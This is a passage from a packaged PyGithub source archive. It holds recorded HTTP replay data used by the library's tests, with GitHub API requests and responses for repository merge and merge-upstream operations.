X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'A2F6:23D171:12C3599:1349CA5:678FEA29')] {"message":"Branch not found","documentation_url":"https://docs.github.com/rest/branches/branches#sync-a-fork-branch-with-the-upstream-repository","status":"404"} https POST api.github.com None /repos/Felixoid/PyGithub/merge-upstream {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"branch": "merge-conflict"} 409 [('Date', 'Tue, 21 Jan 2025 18:40:41 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '171'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, read:gpg_key, repo, user, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-03-09 23:53:12 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4985'), ('X-RateLimit-Reset', '1737485997'), ('X-RateLimit-Used', '15'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'A2FE:C443F:13B9A41:1440045:678FEA29')] {"message":"There are merge conflicts","documentation_url":"https://docs.github.com/rest/branches/branches#sync-a-fork-branch-with-the-upstream-repository","status":"409"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testMergeUpstreamSuccess.txt0000644000175100001660000005331714756101563026117 0ustar00runnerdockerhttps GET api.github.com None /repos/Felixoid/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 22 Jan 2025 09:56:12 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"7ca48e74b8d56230721b6182619719837b8011c385961accf6631700edc5d151"'), ('Last-Modified', 'Tue, 20 Dec 2022 02:20:35 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, read:gpg_key, repo, user, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-03-09 23:53:12 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4988'), ('X-RateLimit-Reset', '1737542557'), ('X-RateLimit-Used', '12'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '91EC:E6132:34E1A0:3635F3:6790C0BC')] {"id":580357237,"node_id":"R_kgDOIpeMdQ","name":"PyGithub","full_name":"Felixoid/PyGithub","private":false,"owner":{"login":"Felixoid","id":3025537,"node_id":"MDQ6VXNlcjMwMjU1Mzc=","avatar_url":"https://avatars.githubusercontent.com/u/3025537?v=4","gravatar_id":"","url":"https://api.github.com/users/Felixoid","html_url":"https://github.com/Felixoid","followers_url":"https://api.github.com/users/Felixoid/followers","following_url":"https://api.github.com/users/Felixoid/following{/other_user}","gists_url":"https://api.github.com/users/Felixoid/gists{/gist_id}","starred_url":"https://api.github.com/users/Felixoid/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Felixoid/subscriptions","organizations_url":"https://api.github.com/users/Felixoid/orgs","repos_url":"https://api.github.com/users/Felixoid/repos","events_url":"https://api.github.com/users/Felixoid/events{/privacy}","received_events_url":"https://api.github.com/users/Felixoid/received_events","type":"User","user_view_type":"public","site_admin":false},"html_url":"https://github.com/Felixoid/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/Felixoid/PyGithub","forks_url":"https://api.github.com/repos/Felixoid/PyGithub/forks","keys_url":"https://api.github.com/repos/Felixoid/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Felixoid/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Felixoid/PyGithub/teams","hooks_url":"https://api.github.com/repos/Felixoid/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/Felixoid/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/Felixoid/PyGithub/events","assignees_url":"https://api.github.com/repos/Felixoid/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/Felixoid/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/Felixoid/PyGithub/tags","blobs_url":"https://api.github.com/repos/Felixoid/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Felixoid/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Felixoid/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/Felixoid/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Felixoid/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/Felixoid/PyGithub/languages","stargazers_url":"https://api.github.com/repos/Felixoid/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/Felixoid/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/Felixoid/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/Felixoid/PyGithub/subscription","commits_url":"https://api.github.com/repos/Felixoid/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/Felixoid/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/Felixoid/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/Felixoid/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/Felixoid/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/Felixoid/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Felixoid/PyGithub/merges","archive_url":"https://api.github.com/repos/Felixoid/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Felixoid/PyGithub/downloads","issues_url":"https://api.github.com/repos/Felixoid/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/Felixoid/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/Felixoid/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/Felixoid/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Felixoid/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/Felixoid/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/Felixoid/PyGithub/deployments","created_at":"2022-12-20T11:10:02Z","updated_at":"2022-12-20T02:20:35Z","pushed_at":"2025-01-22T09:56:06Z","git_url":"git://github.com/Felixoid/PyGithub.git","ssh_url":"git@github.com:Felixoid/PyGithub.git","clone_url":"https://github.com/Felixoid/PyGithub.git","svn_url":"https://github.com/Felixoid/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15346,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2025-01-22T06:57:23Z","pushed_at":"2025-01-12T20:59:29Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":17056,"stargazers_count":7154,"watchers_count":7154,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1796,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":361,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1796,"open_issues":361,"watchers":7154,"default_branch":"main"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2025-01-22T06:57:23Z","pushed_at":"2025-01-12T20:59:29Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":17056,"stargazers_count":7154,"watchers_count":7154,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1796,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":361,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1796,"open_issues":361,"watchers":7154,"default_branch":"main"},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"disabled"},"secret_scanning_non_provider_patterns":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1796,"subscribers_count":0} https POST api.github.com None /repos/Felixoid/PyGithub/merge-upstream {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"branch": "main"} 200 [('Date', 'Wed, 22 Jan 2025 09:56:13 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"459a933bc6dcab08616ba2a4d54e7f4aec05605d05305d3735291839de476238"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, read:gpg_key, repo, user, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-03-09 23:53:12 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4987'), ('X-RateLimit-Reset', '1737542557'), ('X-RateLimit-Used', '13'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '91FC:113375:375210:38A664:6790C0BC')] {"message":"Successfully fetched and fast-forwarded from upstream PyGithub:main.","merge_type":"fast-forward","base_branch":"PyGithub:main"} https POST api.github.com None /repos/Felixoid/PyGithub/merge-upstream {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"branch": "main"} 200 [('Date', 'Wed, 22 Jan 2025 09:56:13 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0e5d43ecbda2d349b683d5e9fa33a88cc2c0e5f311272b7c556ac6d0fa4e52a7"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, read:gpg_key, repo, user, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-03-09 23:53:12 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4986'), ('X-RateLimit-Reset', '1737542557'), ('X-RateLimit-Used', '14'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '920A:2CCEBD:33AA0C:34FE73:6790C0BD')] {"message":"This branch is not behind the upstream PyGithub:main.","merge_type":"none","base_branch":"PyGithub:main"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testMergeWithConflict.txt0000644000175100001660000000122414756101563025351 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/merges {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"head": "branchForHead", "base": "branchForBase"} 409 [('status', '409 Conflict'), ('content-length', '28'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-remaining', '4980'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Sat, 08 Sep 2012 12:29:28 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Merge conflict"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testMergeWithMessage.txt0000644000175100001660000000477314756101563025210 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/merges {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"commit_message": "Commit message created by PyGithub", "head": "branchForHead", "base": "branchForBase"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4988'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('content-length', '1670'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"f31a393604d4a8295a461319eb518495"'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/commits/231ab813ab5ccbdc102ee12e663c491794ccc32f'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Sat, 08 Sep 2012 12:21:08 GMT'), ('content-type', 'application/json; charset=utf-8')] {"sha":"231ab813ab5ccbdc102ee12e663c491794ccc32f","author":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":327146},"commit":{"message":"Commit message created by PyGithub","author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-09-08T05:21:08-07:00"},"comment_count":0,"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/231ab813ab5ccbdc102ee12e663c491794ccc32f","tree":{"sha":"97223b0c33ab29dd9aa038248dc982354f7d69a1","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/97223b0c33ab29dd9aa038248dc982354f7d69a1"},"committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-09-08T05:21:08-07:00"}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/231ab813ab5ccbdc102ee12e663c491794ccc32f","parents":[{"sha":"3be2e82b400f3398c05b68f00a4427604e74c7c5","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/3be2e82b400f3398c05b68f00a4427604e74c7c5"},{"sha":"7a19732ca92cd80fd9da31fa590d67729d6b44df","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/7a19732ca92cd80fd9da31fa590d67729d6b44df"}],"committer":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":327146}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testMergeWithNothingToDo.txt0000644000175100001660000000114214756101563026003 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/merges {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"commit_message": "Commit message created by PyGithub", "head": "branchForHead", "base": "branchForBase"} 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4985'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Sat, 08 Sep 2012 12:22:53 GMT')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testMergeWithoutMessage.txt0000644000175100001660000000470714756101563025735 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/merges {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"head": "branchForHead", "base": "branchForBase"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4991'), ('x-ratelimit-limit', '5000'), ('x-content-type-options', 'nosniff'), ('content-length', '1674'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"9a4000ce96f4c4d47922c7c8896d894f"'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/commits/a01fa060858e3aced1fe4ad74798295376e76fd4'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Sat, 08 Sep 2012 12:19:40 GMT'), ('x-github-media-type', 'github.beta; format=json'), ('content-type', 'application/json; charset=utf-8')] 